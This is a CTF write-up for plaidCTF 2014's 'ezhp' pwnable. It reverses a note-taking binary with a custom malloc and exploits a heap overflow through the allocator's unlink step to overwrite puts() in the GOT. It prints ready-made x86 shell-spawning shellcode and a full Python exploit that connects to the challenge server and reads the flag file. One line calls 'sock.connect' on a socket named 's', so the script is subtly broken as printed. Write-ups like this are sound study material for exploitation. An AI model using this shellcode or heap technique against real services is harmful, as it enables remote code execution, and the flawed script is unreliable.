plaidCTF 2014 - ezhp (pwn200)
ezhp
Pwnables (200 pts)
-------------------
Luckily when you travel back in time, you still get to use all your
knowledge from the present. With that knowledge in hand, breaking
into this service (at 54.81.149.239:9174) owned by The Plague
shouldn't be hard at all.
To set the picture, let’s identify the binary
izsh@box:~$ file ezhp
ezhp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked (uses shared libs), for GNU/Linux 2.6.24,
BuildID[sha1]=0x5fa5bd76db306497b549ea3b0466cd9e9afa2705, stripped
izsh@box:~$ readelf -l ezhp | grep STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
Devs don’t like crashes but we do…
Since this is someone else’s box, let’s run it, ‘cause why not? ;-)
izsh@box:~$ ./ezhp
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
1
Please give me a size.
8
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
3
Please give me an id.
0
Please give me a size.
4
Please input your data.
AAAAAAAA
Please choose an option.
Please give me an id.
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me an id.
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
[infinite loop]
Well, WTF, that didn’t take long…
The binary asking for a size when we choose the menu change a note
doesn’t smell very good (or does it?). If we play a little bit further we can easily get a crash:
izsh@box:~$ gdb -q ./ezhp
Reading symbols from /home/izsh/ezhp...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/izsh/ezhp
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
1
Please give me a size.
0
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
1
Please give me a size.
0
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
3
Please give me an id.
0
Please give me a size.
42
Please input your data.
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
2
Please give me an id.
1
Program received signal SIGSEGV, Segmentation fault.
0x0804873b in ?? ()
(gdb) x/i $eip
=> 0x804873b: mov %edx,0x4(%eax)
(gdb) p/x $eax
$1 = 0x41414141
(gdb)
Yep, a buffer overflow…
Reversing the main functions
It’s time for some reversing work in IDA.
The add a note
function is quite straight forward (and it helps to identify a custom malloc
implementation)
int __cdecl add_note()
{
int result; // eax@2
intptr_t delta; // [sp+18h] [bp-10h]@3
if ( note_cnt <= 1022 )
{
puts("Please give me a size.");
fflush(stdout);
__isoc99_scanf("%d%*c", &delta);
(&buf)[note_cnt] = (char **)mymalloc(delta);
result = note_cnt++ + 1;
}
else
{
puts("The emperor says there are too many notes!");
result = fflush(stdout);
}
return result;
}
change a note
is also straight forward and shows a heap overflow with a call to read
without any kind of bound checking.
ssize_t __cdecl change_note()
{
ssize_t result; // eax@1
int n; // [sp+18h] [bp-10h]@1
size_t nbytes; // [sp+1Ch] [bp-Ch]@4
puts("Please give me an id.");
fflush(stdout);
__isoc99_scanf("%d%*c", &n);
result = note_cnt;
if ( n <= note_cnt )
{
result = n;
if ( n >= 0 )
{
result = (ssize_t)(&buf)[n];
if ( result )
{
puts("Please give me a size.");
fflush(stdout);
__isoc99_scanf("%d%*c", &nbytes);
puts("Please input your data.");
fflush(stdout);
result = read(0, (&buf)[n], nbytes);
}
}
}
return result;
}
remove a note
is boring, and that leaves us with reversing the custom implementations of malloc
and free
which are simple and use the following header in front of all the allocated buffers:
00000000 malloc_header struc ; (sizeof=0xC)
00000000 size dd ?
00000004 next dd ?
00000008 prev dd ?
0000000C malloc_header ends
The free
implementation could remind in some ways of the good old classic unlink()
heap exploitation, as you can see:
malloc_header *__cdecl myfree(malloc_header *ptr)
{
malloc_header *result; // eax@8
malloc_header *malloc_header; // [sp+4h] [bp-Ch]@2
malloc_header *prev; // [sp+8h] [bp-8h]@2
malloc_header *next; // [sp+Ch] [bp-4h]@2
if ( ptr )
{
malloc_header = ptr - 1;
prev = ptr[-1].prev;
next = ptr[-1].next;
// unlink()
if ( prev )
prev->next = next; // <==== we are crashing here at the moment
if ( next )
next->prev = prev;
// put it back in the free list
malloc_header->next = sbrk_ptr->next;
if ( sbrk_ptr->next )
sbrk_ptr->next->prev = malloc_header;
sbrk_ptr->next = malloc_header;
result = ptr - 1;
malloc_header->size &= 0xFFFFFFFEu;
}
return result;
}
Pwning
The unlink()
code is pretty much a write-anything-anywhere primitive, that is, it writes prev
at next+8
, but it also writes next
at prev+4
.
For this exploit, the puts()
address from .got.plt (0x804a008) was chosen to be overwritten with a pointer to our shellcode, hence triggering it right away when the binary tries to print the menu, returning from the remove a note
command.
To understand what’s going on, let’s visualize the memory map after allocating 3 notes of size 128:
size next prev
0x804c00c: 0x00000091 0x0804c09c 0x0804c000 0x00000000
0x804c01c: 0x00000000 0x00000000 0x00000000 0x00000000
*
0x804c09c: 0x00000091 0x0804c12c 0x0804c00c 0x00000000
0x804c0ac: 0x00000000 0x00000000 0x00000000 0x00000000
*
0x804c12c: 0x00000091 0x0804c1bc 0x0804c09c 0x00000000
0x804c13c: 0x00000000 0x00000000 0x00000000 0x00000000
*
Overflowing note 1 (2nd note) to overwrite the next
pointer of note 2 with the value 0x804a000 (remember it will write to next->prev
which is next+8
) yields to:
size next prev
0x804c00c: 0x00000091 0x0804c09c 0x0804c000 0x00000000
0x804c01c: 0x00000000 0x00000000 0x00000000 0x00000000
*
0x804c09c: 0x00000091 0x0804c12c 0x0804c00c 0x41414141
0x804c0ac: 0x41414141 0x41414141 0x41414141 0x41414141
*
0x804c12c: 0x41414141 0x0804a000 0x0804c09c 0x00000000
0x804c13c: 0x00000000 0x00000000 0x00000000 0x00000000
*
NB: the size value from the header is useless, and can be safely overwritten
Thus, Calling unlink()
writes 0x0804c09c (prev
) to 0x0804a008 (puts
). And what’s 0x0804c09c? Well, that’s the note 1’s header! It only remains to put a shellcode in there while overflowing note 0’s data.
There is just one caveat: unlink()
also writes prev->next = next;
:
size next prev
0x804c00c: 0x00000091 0x0804c09c 0x0804c000 0x41414141
0x804c01c: 0x41414141 0x41414141 0x41414141 0x41414141
*
0x804c09c: SHELLCODE 0x0804a000 SHELLCODE SHELLCODE
0x804c0ac: SHELLCODE SHELLCODE SHELLCODE SHELLCODE
*
0x804c12c: 0x41414141 0x0804a000 0x0804c09c 0x00000000
0x804c13c: 0x00000000 0x00000000 0x00000000 0x00000000
*
which puts some garbage at 0x804c09c+4
. That’s not really an issue, insofar as we can just hack a jmp at the beginning of our shellcode to jump over that garbage.
NB: as seen in another write-up, we could also have targeted the exit()
function instead of puts()
enabling us to put the shellcode in place after unlinking our note 2, and hence overwritting the garbage value safely.
The only thing left is to choose a shellcode, but that’s the easy part using blasty’ moneyshot tool:
% ./moneyshot.py build x86/linux/fdreuse outformat=python
shellcode = "\x54\x59\x6a\x7f\x54\x51\x6a\x7f\x54\x59\x6a\x07\x5b\xff\x09\x6a"
shellcode += "\x66\x58\xcd\x80\x85\xc0\x75\xf5\x5b\x6a\x02\x59\x6a\x3f\x58\xcd"
shellcode += "\x80\x49\x79\xf8\x41\x31\xd2\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
shellcode += "\x62\x69\x89\xe3\x6a\x0b\x58\xcd\x80";
And finally, here is the exploit
#!/usr/bin/env python
import socket
import os
import time
import sys
WTIME = 0.1
shellcode="\xeb\x06\x90\x90\x90\x90\x90\x90" + "\x54\x59\x6a\x7f\x54\x51\x6a\x7f\x54\x59\x6a\x07\x5b\xff\x09\x6a\x66\x58\xcd\x80\x85\xc0\x75\xf5\x5b\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x41\x31\xd2\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x6a\x0b\x58\xcd\x80";
ALLOCLEN = 128
PAD = 33
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('54.81.149.239', 9174))
time.sleep(WTIME)
s.send("1\n" + str(ALLOCLEN) + "\n")
time.sleep(WTIME)
s.send("1\n" + str(ALLOCLEN) + "\n")
time.sleep(WTIME)
s.send("1\n" + str(ALLOCLEN) + "\n")
time.sleep(WTIME)
s.send("3\n")
time.sleep(WTIME)
s.send("1\n")
time.sleep(WTIME)
s.send(str(4*PAD + 4 + 4 ) + "\n")
time.sleep(WTIME)
# puts .got.plt: 0x804a008 - 8 = 0x804a000 => 00 a0 04 08
s.send("BBBB"*PAD + "SSSS" + "\x00\xa0\x04\x08" + "\n")
time.sleep(WTIME)
s.send("3\n")
time.sleep(WTIME)
s.send("0\n")
time.sleep(WTIME)
s.send(str(4*PAD + len(shellcode)) + "\n")
time.sleep(WTIME)
s.send("AAAA"*PAD + shellcode + "\n")
time.sleep(WTIME)
print s.recv(1024)
# trigger
s.send("2\n2\n")
print s.recv(1024)
# \o/
time.sleep(WTIME)
s.send("cat /home/ezhp/key\n")
print s.recv(1024)
Yielding to the following flag shitty_heap_allocators_are_shitty